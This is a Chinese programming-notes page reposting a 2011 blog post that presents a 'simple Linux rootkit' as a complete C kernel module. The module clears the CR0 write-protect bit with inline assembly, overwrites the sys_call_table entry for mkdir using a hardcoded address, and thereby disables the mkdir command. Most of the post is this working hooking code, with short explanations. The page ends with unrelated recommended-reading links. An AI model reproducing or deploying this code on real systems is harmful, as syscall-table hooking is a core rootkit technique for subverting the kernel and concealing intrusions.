热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

hooksyscalltableandclearcr0

一个简单的linuxrootkit2011-01-1714:58http:hi.baidu.comshazi129blogitem53974aec2f0fc5c32e2e21f1.
一个简单的linux rootkit
2011-01-17 14:58
http://hi.baidu.com/shazi129/blog/item/53974aec2f0fc5c32e2e21f1.html

下面提供一个相对完整的rootkit,在Fedora 12上编译运行成功。

#include
#include
#include

MODULE_LICENSE("GPL");

// addr of sys_call_talbe = 0xc077e3a8,这个值是在/boot目录下,System.map或是以System.map打头的文件中找到的。
void ** sys_call_table = (void **)0xc077e3a8;

int (*orig_mkdir)(const char *path); //定义一个函数指正,用于保存挟制以前的初始值

int hack_mkdir(const char * path) //定义一个替换函数,它将用来替换某个系统调用
{
        printk("<0> this is in hack_mkdir\n");
        return 0;
}

/*下面两个函数比较重要&#xff0c;因为在较新的内核中&#xff0c;sys_call_table的内存是只读的&#xff0c;详见entry_32.S:

.section .rodata,"a"
#include "syscall_table_32.S"

但我们可以通过该cr0寄存器的第16位来取消写保护&#xff0c;cr0寄存器如下&#xff1a;


第16位WP位&#xff0c;它控制是否允许处理器向标志为只读属性的内存页写入数据&#xff0c;如果WP&#61;0, 禁用写保护功能。

*/

unsigned int clear_cr0(void) // 将WP清0&#xff0c;并返回清0前的值
{
        unsigned int cr0 &#61; 0;
        unsigned int ret;
        asm volatile("movl %%cr0, %%eax"
                :"&#61;a"(cr0)
                );
        ret &#61; cr0;
        cr0 &&#61; 0xfffeffff;
        asm volatile("movl %%eax, %%cr0"
                :
                :"a"(cr0)
                );
                return ret;
}

void setback_cr0(unsigned int val) // 将cr0设为val
{
        asm volatile("movl %%eax, %%cr0"
                :
                :"a"(val)
                );
}

static int __init begin(void)
{
        unsigned int cr0;
        orig_mkdir &#61; sys_call_table[__NR_mkdir]; //保存mkdir原来的的地址
        printk("<0> sys_call_table[__NR_mkdir] &#61; %x\n",  (unsigned int)sys_call_table[__NR_mkdir]);


        cr0 &#61; clear_cr0();
        sys_call_table[__NR_mkdir] &#61; hack_mkdir; //挟持
        setback_cr0(cr0);
   
        printk("<0> sys_call_table[__NR_mkdir] &#61; %x\n", (unsigned int)sys_call_table[__NR_mkdir]);

  
        return 0;
}

static void __exit end(void)
{
        int cr0;
        cr0 &#61; clear_cr0();
        sys_call_table[__NR_mkdir] &#61; orig_mkdir; //恢复mkdir系统调用
        setback_cr0(cr0); 
}

module_init(begin);
module_exit(end);
运行效果&#xff1a;

加载模块后&#xff0c;mkdir命令失效。



转:https://www.cnblogs.com/chingliu/archive/2011/08/26/2223806.html



推荐阅读
  • 本文详细介绍了Java编程语言中的核心概念和常见面试问题,包括集合类、数据结构、线程处理、Java虚拟机(JVM)、HTTP协议以及Git操作等方面的内容。通过深入分析每个主题,帮助读者更好地理解Java的关键特性和最佳实践。 ... [详细]
  • XNA 3.0 游戏编程:从 XML 文件加载数据
    本文介绍如何在 XNA 3.0 游戏项目中从 XML 文件加载数据。我们将探讨如何将 XML 数据序列化为二进制文件,并通过内容管道加载到游戏中。此外,还会涉及自定义类型读取器和写入器的实现。 ... [详细]
  • PHP 5.2.5 安装与配置指南
    本文详细介绍了 PHP 5.2.5 的安装和配置步骤,帮助开发者解决常见的环境配置问题,特别是上传图片时遇到的错误。通过本教程,您可以顺利搭建并优化 PHP 运行环境。 ... [详细]
  • 360SRC安全应急响应:从漏洞提交到修复的全过程
    本文详细介绍了360SRC平台处理一起关键安全事件的过程,涵盖从漏洞提交、验证、排查到最终修复的各个环节。通过这一案例,展示了360在安全应急响应方面的专业能力和严谨态度。 ... [详细]
  • 本文将介绍如何使用 Go 语言编写和运行一个简单的“Hello, World!”程序。内容涵盖开发环境配置、代码结构解析及执行步骤。 ... [详细]
  • 火星商店问题:线段树分治与持久化Trie树的应用
    本题涉及编号为1至n的火星商店,每个商店有一个永久商品价值v。操作包括每天在指定商店增加一个新商品,以及查询某段时间内某些商店中所有商品(含永久商品)与给定密码值的最大异或结果。通过线段树分治和持久化Trie树来高效解决此问题。 ... [详细]
  • 本文详细介绍了如何在Linux系统上安装和配置Smokeping,以实现对网络链路质量的实时监控。通过详细的步骤和必要的依赖包安装,确保用户能够顺利完成部署并优化其网络性能监控。 ... [详细]
  • 本文介绍了Java并发库中的阻塞队列(BlockingQueue)及其典型应用场景。通过具体实例,展示了如何利用LinkedBlockingQueue实现线程间高效、安全的数据传递,并结合线程池和原子类优化性能。 ... [详细]
  • CentOS7源码编译安装MySQL5.6
    2019独角兽企业重金招聘Python工程师标准一、先在cmake官网下个最新的cmake源码包cmake官网:https:www.cmake.org如此时最新 ... [详细]
  • 深入理解 SQL 视图、存储过程与事务
    本文详细介绍了SQL中的视图、存储过程和事务的概念及应用。视图为用户提供了一种灵活的数据查询方式,存储过程则封装了复杂的SQL逻辑,而事务确保了数据库操作的完整性和一致性。 ... [详细]
  • 解决PHP与MySQL连接时出现500错误的方法
    本文详细探讨了当使用PHP连接MySQL数据库时遇到500内部服务器错误的多种解决方案,提供了详尽的操作步骤和专业建议。无论是初学者还是有经验的开发者,都能从中受益。 ... [详细]
  • CMake跨平台开发实践
    本文介绍如何使用CMake支持不同平台的代码编译。通过一个简单的示例,我们将展示如何编写CMakeLists.txt以适应Linux和Windows平台,并实现跨平台的函数调用。 ... [详细]
  • 在Ubuntu 16.04 LTS上配置Qt Creator开发环境
    本文详细介绍了如何在Ubuntu 16.04 LTS系统中安装和配置Qt Creator,涵盖了从下载到安装的全过程,并提供了常见问题的解决方案。 ... [详细]
  • 本文深入探讨了Linux系统中网卡绑定(bonding)的七种工作模式。网卡绑定技术通过将多个物理网卡组合成一个逻辑网卡,实现网络冗余、带宽聚合和负载均衡,在生产环境中广泛应用。文章详细介绍了每种模式的特点、适用场景及配置方法。 ... [详细]
  • 解读MySQL查询执行计划的详细指南
    本文旨在帮助开发者和数据库管理员深入了解如何解读MySQL查询执行计划。通过详细的解析,您将掌握优化查询性能的关键技巧,了解各种访问类型和额外信息的含义。 ... [详细]
author-avatar
手机用户2502887763
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有